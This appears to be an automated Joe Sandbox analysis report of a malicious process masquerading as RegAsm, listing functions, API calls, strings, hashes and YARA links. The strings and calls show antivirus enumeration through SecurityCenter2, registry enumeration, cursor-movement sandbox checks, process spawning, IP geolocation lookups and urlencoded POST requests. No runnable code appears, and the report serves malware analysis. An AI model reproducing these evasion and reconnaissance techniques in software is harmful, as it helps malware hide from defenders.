Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 004CE63D
Sleep.KERNEL32(000000C8,?,?,?), ref: 004CEF31
Sleep.KERNEL32(?), ref: 004CEF5A
GetBinaryTypeA.KERNEL32(00000000,FFFFFFFF), ref: 004CEF84
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,00000000,?,?,00000000,00000000,?), ref: 004CF440
CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 004CF451
CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 004CF45E
GetBinaryTypeA.KERNEL32(?,FFFFFFFF,?), ref: 004CF680
Sleep.KERNEL32(000000C8), ref: 004CF87D
Sleep.KERNEL32(00000000), ref: 004CF8A6
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,00000000,?,?,00000000,00000000,?), ref: 004CFD69
CloseHandle.KERNEL32(?), ref: 004CFD7A
CloseHandle.KERNEL32(?), ref: 004CFD87
__aulldiv.LIBCMT ref: 004D06D7
ShellExecuteA.SHELL32(00000000,?,?,?,00000000,?), ref: 004D087C

Part of subcall function 0053E35A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E365
Part of subcall function 0053E35A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E39F

Part of subcall function 0053E309: AcquireSRWLockExclusive.KERNEL32(0058E970,-00007535,?,004308F2,00590F6C), ref: 0053E313
Part of subcall function 0053E309: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E346
Part of subcall function 0053E309: WakeAllConditionVariable.KERNEL32(0058E96C,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E351

Strings

C, xrefs: 004CEFDD
], xrefs: 004D02A6
;, xrefs: 004CEFD1
[, xrefs: 004CF8C3
Lb( , xrefs: 004CF6E7
%, xrefs: 004CEBE5
}{, xrefs: 004CE552
D, xrefs: 004CFB97
U, xrefs: 004D02AA
U, xrefs: 004D00A0
j3l6lrek, xrefs: 004CE7EF, 004CE839, 004CF144, 004CF18E, 004CF250, 004CF29A, 004CF5E5, 004CF62F, 004CFA13, 004CFA5D, 004CFB1F, 004CFB69, 004CFF6E, 004CFFB8, 004D0629, 004D0673, 004D0B87, 004D0BD1
^, xrefs: 004CEFD9
<SLYR, xrefs: 004D0804
9, xrefs: 004D02A2
>, xrefs: 004CF8BB
[, xrefs: 004CF8CB
+aii, xrefs: 004D0022
w, xrefs: 004D00A4
y, xrefs: 004CEBE9
F, xrefs: 004CF8C7
n{, xrefs: 004CE5BF
eks, xrefs: 004CE748, 004CF09D, 004CF1A9, 004CF53E, 004CF96C, 004CFA78, 004CFE7D, 004CFEC7, 004D0547, 004D0582, 004D0A96, 004D0AE0
Cao, xrefs: 004D047D
U, xrefs: 004D02AE
D, xrefs: 004CF2C8
^, xrefs: 004CEFE1

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseExclusiveHandleLockSleep$AcquireBinaryCreateProcessReleaseType$ConditionExecuteShellVariableWake
String ID: %$+aii$9$;$<SLYR$>$C$Cao$D$D$F$Lb( $U$U$U$[$[$]$^$^$eks$j3l6lrek$n{$w$y$}{
API String ID: 469071346-2654065059
Opcode ID: ab9a49ad2db6817f4d24581b2fa435a2aede72a8dfe3e3a5f90de6cc06060585
Instruction ID: 7417cdd4d66c97faec94657393e268677ea1e608b421e5d19b18f6df23a6c79a
Opcode Fuzzy Hash: ab9a49ad2db6817f4d24581b2fa435a2aede72a8dfe3e3a5f90de6cc06060585
Instruction Fuzzy Hash: B24356B0D042688FDB65CB24CC94BEEBBB1BF49304F0481EAD54967281DB386E88CF55

Function 00436CA0 Relevance: 48.8, APIs: 2, Strings: 24, Instructions: 3321COMMON

Download Yara Rule

Strings

n{, xrefs: 0043A89F
g, xrefs: 0043A079
https://ipinfo.io/, xrefs: 004376E5
g, xrefs: 0043A075
?[^K^, xrefs: 004379D2
E!$1$, xrefs: 00438377
;UZV^, xrefs: 0043851D
s, xrefs: 00437A7A
f, xrefs: 004371AB
n{, xrefs: 0043A723
`, xrefs: 00439DED
/F_, xrefs: 00439F03
1RR, xrefs: 00439FD5
?[^K^, xrefs: 004381A1
o, xrefs: 00437C50
/, xrefs: 0043A95E
%LU, xrefs: 004372C1
bgrg, xrefs: 00437EE1
https://ipgeolocation.io/, xrefs: 0043A9DC
@, xrefs: 0043AFC4
$JEIA, xrefs: 0043893F
L(-8-, xrefs: 00438799
Content-Type: application/x-www-form-urlencoded, xrefs: 00436EBA, 00436F0F, 00438DA2, 00438DF7, 00439D03
lcog, xrefs: 00438087

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: $JEIA$%LU$/$/F_$1RR$;UZV^$?[^K^$?[^K^$@$Content-Type: application/x-www-form-urlencoded$E!$1$$L(-8-$`$bgrg$f$g$g$https://ipgeolocation.io/$https://ipinfo.io/$lcog$n{$n{$o$s
API String ID: 0-4202864799
Opcode ID: cb88ba3777d49f56c74f95a7167583c70ead63800837693d00686cfaa5998d9a
Instruction ID: 009e3aa1f1fbc12fea8c265774fa31fbb15222e88e55ed6fae987f700cd50bcc
Opcode Fuzzy Hash: cb88ba3777d49f56c74f95a7167583c70ead63800837693d00686cfaa5998d9a
Instruction Fuzzy Hash: AD83F3B0D092688BDB25CB28CC94BEEBBB1AF49304F0481DAD54D67242CB796F85CF55

Function 00450910 Relevance: 46.2, APIs: 2, Strings: 23, Instructions: 2466COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00450A28
__aulldiv.LIBCMT ref: 0045189D

Strings

:, xrefs: 004525AB
:, xrefs: 0045322C
:, xrefs: 00452FE6
:, xrefs: 00452A37
:, xrefs: 00452242
:, xrefs: 00451DB6
:, xrefs: 00451C93
n{, xrefs: 0045181F
:, xrefs: 00453109
:, xrefs: 00452488
:, xrefs: 00452365
:::, xrefs: 00452B4B
:, xrefs: 00452DA0
:, xrefs: 00451FFC
:, xrefs: 00452914
:, xrefs: 00451ED9
:, xrefs: 004526CE
:, xrefs: 004527F1
:, xrefs: 00452C7D
%, xrefs: 00451909
:, xrefs: 0045211F
n{, xrefs: 004509AA
:, xrefs: 00452EC3

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:::$n{$n{
API String ID: 3732870572-4140743676
Opcode ID: 3f7a114a1c2276932cdf65d5e439b8905371dd365eb340dbfb303235841ed3d1
Instruction ID: 1cdd653370803adc6f3131d0949a08e463757fa1663f0c5e8cee9cedd3fbe819
Opcode Fuzzy Hash: 3f7a114a1c2276932cdf65d5e439b8905371dd365eb340dbfb303235841ed3d1
Instruction Fuzzy Hash: 89433870D042688BCB25DB64CC90BEEBBB5AF45309F0441DED54AAB242DB346F88CF59

Function 0042F900 Relevance: 39.7, APIs: 13, Strings: 9, Instructions: 1186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 0042FA4A
__aulldiv.LIBCMT ref: 0042FD59

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__fread_nolock.LIBCMT ref: 0042FDFF
__aulldiv.LIBCMT ref: 0042FE6B

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 0042FFA5
__aulldiv.LIBCMT ref: 004300DA
__aulldiv.LIBCMT ref: 0043029A
__fread_nolock.LIBCMT ref: 004302F1

Strings

:HX, xrefs: 0042FB8B
}{, xrefs: 0042FFEF
n{, xrefs: 0043005C
n{, xrefs: 0042F9CC
eks, xrefs: 0042FA70
j3l6lrek, xrefs: 0042FAFF, 0042FB3A
n{, xrefs: 0042FCDB
n{, xrefs: 0043021C
}{, xrefs: 0042F95E

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$__fread_nolock
String ID: :HX$eks$j3l6lrek$n{$n{$n{$n{$}{$}{
API String ID: 3493607940-1063084820
Opcode ID: a8128bc8c08e550c916385d7a3bee535939ec25943d636a6c23734435c8f2fb9
Instruction ID: 80603ceed5e5ecb815a2336bb84db937df39f84d1c4a8ceee33aefd1604ca137
Opcode Fuzzy Hash: a8128bc8c08e550c916385d7a3bee535939ec25943d636a6c23734435c8f2fb9
Instruction Fuzzy Hash: 5DB2A1B1D001189FDB24CB64CC91BEEB7B5BB88304F1481AAE509B7391DB786E85CF95

Function 004309A0 Relevance: 39.7, APIs: 13, Strings: 9, Instructions: 1186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 00430AEA
__aulldiv.LIBCMT ref: 00430DF9

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__fread_nolock.LIBCMT ref: 00430E9F
__aulldiv.LIBCMT ref: 00430F0B

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00431045
__aulldiv.LIBCMT ref: 0043117A
__aulldiv.LIBCMT ref: 0043133A
__fread_nolock.LIBCMT ref: 00431391

Strings

n{, xrefs: 00430D7B
n{, xrefs: 00430A6C
eks, xrefs: 00430B10
j3l6lrek, xrefs: 00430B9F, 00430BDA
L>., xrefs: 00430C2B
n{, xrefs: 004312BC
n{, xrefs: 004310FC
}{, xrefs: 004309FE
}{, xrefs: 0043108F

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$__fread_nolock
String ID: L>.$eks$j3l6lrek$n{$n{$n{$n{$}{$}{
API String ID: 3493607940-3512644766
Opcode ID: 7803ca1b012c0af8245277fa8ae138c848588f0f233512ddf3bb68fb7070086c
Instruction ID: 4b8030dd088baf5a40f7a31888a250f1bbbdb175115375ead4fba1f87eac71f9
Opcode Fuzzy Hash: 7803ca1b012c0af8245277fa8ae138c848588f0f233512ddf3bb68fb7070086c
Instruction Fuzzy Hash: 6EB2A1B1D002189FDB24DB64CC91BEEB7B5BB88304F14819AE509B7390DB786E85CF95

Function 00432DB0 Relevance: 25.4, APIs: 3, Strings: 11, Instructions: 892
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 00432F14
__aulldiv.LIBCMT ref: 00432FCD
__aulldiv.LIBCMT ref: 00433698

Strings

Z, xrefs: 0043325A
_, xrefs: 0043324E
Z, xrefs: 00433252
eks, xrefs: 004337D6, 00433A01
j3l6lrek, xrefs: 00433874, 004338AF, 00433AA8, 00433AE3
O, xrefs: 00433256
n{, xrefs: 0043361A
;, xrefs: 0043324A
n{, xrefs: 00432E96
Content-Type: application/x-www-form-urlencoded, xrefs: 004336DD, 0043371D
0srs, xrefs: 0043302F

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: 0srs$;$Content-Type: application/x-www-form-urlencoded$O$Z$Z$_$eks$j3l6lrek$n{$n{
API String ID: 3732870572-2963995603
Opcode ID: 1863d80065e0cc18f0ca8c9a54b5aeb80621020565e298a0c9097ae14ff455f3
Instruction ID: e4f144eb6866c9f15e0174b874faaea5c0fb60d0f0c4e6e2486b5e18bccaafbb
Opcode Fuzzy Hash: 1863d80065e0cc18f0ca8c9a54b5aeb80621020565e298a0c9097ae14ff455f3
Instruction Fuzzy Hash: D2923670D002289BDB24DF68CC95BEEBBB1BF89304F1481DAE409A7251DB786E85CF55

Function 004327D0 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 004327DD
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00432803
CoUninitialize.OLE32 ref: 00432812

Strings

displayName, xrefs: 00432A14
ROOT\SecurityCenter2, xrefs: 00432868
WQL, xrefs: 00432926
Select * From AntiVirusProduct, xrefs: 004328F5
%ws, xrefs: 00432A43

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Initialize$SecurityUninitialize
String ID: %ws$ROOT\SecurityCenter2$Select * From AntiVirusProduct$WQL$displayName
API String ID: 3757020523-4229669714
Opcode ID: 555726bb6aff8e2d3c13d203394c6c076eaf66aabcec3c19cdeafb0382b70052
Instruction ID: 4288d1d4c252e29bef7cf26b8597fe6888cbe1e75489e8b63adeb755e9b52ba4
Opcode Fuzzy Hash: 555726bb6aff8e2d3c13d203394c6c076eaf66aabcec3c19cdeafb0382b70052
Instruction Fuzzy Hash: E0A13A74E00209EFDB14DF94C995BEEB7B1FF48304F20815AE512AB290D7B86A85DF54

Function 00433F10 Relevance: 22.5, APIs: 3, Strings: 9, Instructions: 1456COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 004349C0
__aulldiv.LIBCMT ref: 00434D18
__aulldiv.LIBCMT ref: 00435074

Strings

u, xrefs: 00434043
i, xrefs: 004340CA
L9> , xrefs: 00434AF4
])$-8, xrefs: 00435191
z, xrefs: 0043475F
eks, xrefs: 00433F29, 00435571
j3l6lrek, xrefs: 00433FD0, 0043400B, 00435618, 00435653
m, xrefs: 00434E0B
r, xrefs: 004353DD

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: L9> $])$-8$eks$i$j3l6lrek$m$r$u$z
API String ID: 3732870572-3037306690
Opcode ID: bbddc00ec848950a374568ea7d79f52407ea9750266040f20cd6ad617d7a58fc
Instruction ID: 097ec3de9a0d552a72c5eead724637650cdad3b65235f9df5b072cebc6055ced
Opcode Fuzzy Hash: bbddc00ec848950a374568ea7d79f52407ea9750266040f20cd6ad617d7a58fc
Instruction Fuzzy Hash: DCE27770D042688BDB24DB64CC95BEEBBB5BF89304F0481EAE50967381DB782E85CF55

Function 0046C8D0 Relevance: 19.1, APIs: 2, Strings: 7, Instructions: 3312COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0046E79F

Strings

), xrefs: 0046F89D
', xrefs: 0046F4C4
3, xrefs: 0046F30C
%, xrefs: 0046E80B
n{, xrefs: 0046FE2D
n{, xrefs: 0046E721
&, xrefs: 0046ED86

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3$n{$n{
API String ID: 3732870572-2532145099
Opcode ID: 38012ed3fdddafccf50544a85c18c106ea5eacb20a7a6b96f8b7bcd4d27d421a
Instruction ID: 89ab8af2effcce1828f03fdfc84ecafc5db9519518d43a3ea0e0583515a2c9db
Opcode Fuzzy Hash: 38012ed3fdddafccf50544a85c18c106ea5eacb20a7a6b96f8b7bcd4d27d421a
Instruction Fuzzy Hash: DD83EF70D052688FCB65CB28CC90BEEBBB1AF89308F0481DAD54DA7252DB356E85CF55

Function 004358A0 Relevance: 16.9, APIs: 2, Strings: 7, Instructions: 1184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

N, xrefs: 00435AFA
eks, xrefs: 00435D5E
j3l6lrek, xrefs: 00435E05, 00435E40
D, xrefs: 00435A76
z, xrefs: 0043628E
2, xrefs: 00435AF6
8, xrefs: 00435A72

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionVariableWake
String ID: 2$8$D$N$eks$j3l6lrek$z
API String ID: 4258034872-2262531636
Opcode ID: 65ca53d4c697f08ed9c37360ae9a2b099ea0b9cc14756e7a6cf015a0da919177
Instruction ID: db6f3ab7cd9c42f10531c76a974450e8f1665f2d29a0a6ab9a422aa2031016b1
Opcode Fuzzy Hash: 65ca53d4c697f08ed9c37360ae9a2b099ea0b9cc14756e7a6cf015a0da919177
Instruction Fuzzy Hash: E8C267B1D002589FCB24DB64CC91BEEBBB1BF48304F0481EAE50A67381DB786A85CF55

Function 00508D80 Relevance: 16.0, APIs: 10, Instructions: 1016
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,?,?), ref: 00508EB7
GetModuleHandleA.KERNEL32(?,?,?), ref: 00509009
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050915B
GetModuleHandleA.KERNEL32(?,?,?), ref: 005092AD
GetModuleHandleA.KERNEL32(?,?,?), ref: 005093FF
GetModuleHandleA.KERNEL32(?,?,?), ref: 00509587
GetModuleHandleA.KERNEL32(?,?,?), ref: 00509721
GetModuleHandleA.KERNEL32(?,?,?), ref: 005098BB
GetModuleHandleA.KERNEL32(?,?,?), ref: 00509A55
GetModuleHandleA.KERNEL32(?,?,?), ref: 00509BEF

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 5d633af57a0eafe82edf084228a14d15ce08b0cb81f0ffc9f1f0b2d5bd03db43
Instruction ID: f54d69e34ba9b21312382ec6f9645a4314ff1be99be5a40234549bb951e0b6a5
Opcode Fuzzy Hash: 5d633af57a0eafe82edf084228a14d15ce08b0cb81f0ffc9f1f0b2d5bd03db43
Instruction Fuzzy Hash: 98B2F470D052688FDB25CF68CCA0BEEBBB1BF89308F1481D9D549AB346D6316A84DF54

Function 004400A0 Relevance: 14.4, APIs: 3, Strings: 5, Instructions: 393
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053E35A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E365
Part of subcall function 0053E35A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E39F

Part of subcall function 0053E309: AcquireSRWLockExclusive.KERNEL32(0058E970,-00007535,?,004308F2,00590F6C), ref: 0053E313
Part of subcall function 0053E309: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E346
Part of subcall function 0053E309: WakeAllConditionVariable.KERNEL32(0058E96C,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E351

__aulldiv.LIBCMT ref: 004403C5
__aulldiv.LIBCMT ref: 00440439

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__fread_nolock.LIBCMT ref: 004405CF

Strings

F4$, xrefs: 004401F0
n{, xrefs: 00440347
}{, xrefs: 004402DA
eks, xrefs: 0044047A, 004404A9
j3l6lrek, xrefs: 00440538, 00440567

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock__aulldiv$AcquireRelease$ConditionVariableWake__fread_nolock
String ID: F4$$eks$j3l6lrek$n{$}{
API String ID: 577242060-488548467
Opcode ID: 7da447b93fe161431954fa4a9f0e2bd2c22254fea104e5918bc535303d20aab9
Instruction ID: 66e22caea41197ff3048d8e9292abdce64640725f2c17728816ecb4b8662871b
Opcode Fuzzy Hash: 7da447b93fe161431954fa4a9f0e2bd2c22254fea104e5918bc535303d20aab9
Instruction Fuzzy Hash: F6F13C71D002189FDB14DBA4DC85BEEBBB1BF88304F14819AE509A7381DB786E85CF95

Function 00441AF0 Relevance: 13.0, APIs: 4, Strings: 3, Instructions: 789
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053E35A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E365
Part of subcall function 0053E35A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E39F

__aulldiv.LIBCMT ref: 00441DB7
RegEnumKeyExA.KERNEL32(?,00000000,?,00000104,00000000,00000000,00000000,00000000,00000000,eks), ref: 00441FE0
RegOpenKeyExA.KERNEL32(80000001,?,00000000,?,?), ref: 00441E69

Part of subcall function 0053E309: AcquireSRWLockExclusive.KERNEL32(0058E970,-00007535,?,004308F2,00590F6C), ref: 0053E313
Part of subcall function 0053E309: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E346
Part of subcall function 0053E309: WakeAllConditionVariable.KERNEL32(0058E96C,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E351

Strings

n{, xrefs: 00441D39
eks, xrefs: 00441BD4, 00441EAC, 00442448, 00442483, 00442686, 004426C1
j3l6lrek, xrefs: 00441C69, 00441CA4, 00441F41, 00441F7C, 0044252A, 00442565, 00442768, 004427A3

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionEnumOpenVariableWake__aulldiv
String ID: eks$j3l6lrek$n{
API String ID: 2427947366-86532494
Opcode ID: ccd247844b068fd730faebae74c8ddfd3773c7a480e62a7e8976548a51d6c871
Instruction ID: 3ce4eab7bc9966ec06563f63b8a7e4ee9434c65e05c46a6efc02796d2f42f37c
Opcode Fuzzy Hash: ccd247844b068fd730faebae74c8ddfd3773c7a480e62a7e8976548a51d6c871
Instruction Fuzzy Hash: 9E824170D002289FDB24CF64C995BEEBBB1BF49304F1481DAE409A7291DB786E89CF55

Function 0042B840 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000001), ref: 0042B892
GetLastError.KERNEL32 ref: 0042B8A2
__aulldiv.LIBCMT ref: 0042B902
__aulldiv.LIBCMT ref: 0042B9DF
__aulldiv.LIBCMT ref: 0042BB05

Strings

n{, xrefs: 0042B997

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$AttributesErrorFileLast
String ID: n{
API String ID: 3597693367-2104556642
Opcode ID: fc4b3d48a0e8540657a869ce82f5b0197dc0f5a76b0b9dd1f948638ca3d1c01e
Instruction ID: 44c97013f5b65640722b1e4ba322d050673a7c89aed965f0a1b77def22a273ce
Opcode Fuzzy Hash: fc4b3d48a0e8540657a869ce82f5b0197dc0f5a76b0b9dd1f948638ca3d1c01e
Instruction Fuzzy Hash: 66A18471E002189FEB24CFA8DC81B9EBBB6FB88714F118169E508B7385D7786D418F94

Function 00432300 Relevance: 9.3, APIs: 6, Instructions: 343
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCursorPos.USER32(?), ref: 00432313
GetCursorPos.USER32(?), ref: 0043232A
Sleep.KERNEL32(?), ref: 004324E0
GetCursorPos.USER32(?), ref: 004324EA
__aulldiv.LIBCMT ref: 004325CD
Sleep.KERNEL32(?), ref: 004327B5

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Cursor$Sleep$__aulldiv
String ID:
API String ID: 1481957275-0
Opcode ID: d2eee400279e9d957e3da22267a717102f1fee945c863c47cfce2d3cd15cc7e2
Instruction ID: 375cfc09b03ecb9e91bc55ebd2385ec7a2d6df576953a530d1ac96b91999e4a1
Opcode Fuzzy Hash: d2eee400279e9d957e3da22267a717102f1fee945c863c47cfce2d3cd15cc7e2
Instruction Fuzzy Hash: F4F1D774E04219DFDB14CF98C990BAEBBB2FF88304F14819AD819A7345D778AA81CF55

Function 0050BE90 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 135
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(00000000,00000000,aaj38,?), ref: 0050BFF0
GetProcessHeap.KERNEL32(00000008,-00000001,00000000,aaj38,?), ref: 0050C013
HeapAlloc.KERNEL32(00000000), ref: 0050C01A
lstrcpynA.KERNEL32(00000000,00000000,00000000), ref: 0050C02F

Strings

aaj38, xrefs: 0050BEF9, 0050BF28
38a49, xrefs: 0050BFA2, 0050BFD1

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocProcesslstrcpynlstrlen
String ID: 38a49$aaj38
API String ID: 2211197272-4103302207
Opcode ID: bb1847e897428a88756de36e78bcc4e3d7ffdbfbf95de0a29f54a74f5809d23d
Instruction ID: 5e0676a8408f78954a8867b468c635290f1cf33cd0337551ccb9147b7de26194
Opcode Fuzzy Hash: bb1847e897428a88756de36e78bcc4e3d7ffdbfbf95de0a29f54a74f5809d23d
Instruction Fuzzy Hash: 8D51FFB0D04249AFEF04DFA8D899BEEBFB1BF48304F10805AE515AB281D7755A85CF94

Function 00433CF0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 00433D8D
__aulldiv.LIBCMT ref: 00433E47

Strings

n{, xrefs: 00433DFF
AU., xrefs: 00433DBB
Content-Type: application/x-www-form-urlencoded, xrefs: 00433E74, 00433EA8

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: AU.$Content-Type: application/x-www-form-urlencoded$n{
API String ID: 3732870572-2762896062
Opcode ID: 2fb7fe923b12b21568c69ee41e02098984cee90092c37ba619983f3ee882d80b
Instruction ID: 669cdcbc90d8bd02f8a37ada013642480785e7ccf461275370d6c2e67f3ef742
Opcode Fuzzy Hash: 2fb7fe923b12b21568c69ee41e02098984cee90092c37ba619983f3ee882d80b
Instruction Fuzzy Hash: 1E612EB1E00208ABDB14DFA9DC55BEEBBB5FF88304F508119E509BB380DB786945CB95

Function 004263E0 Relevance: 7.2, APIs: 2, Strings: 1, Instructions: 1923libraryCOMMON

Download Yara Rule

APIs

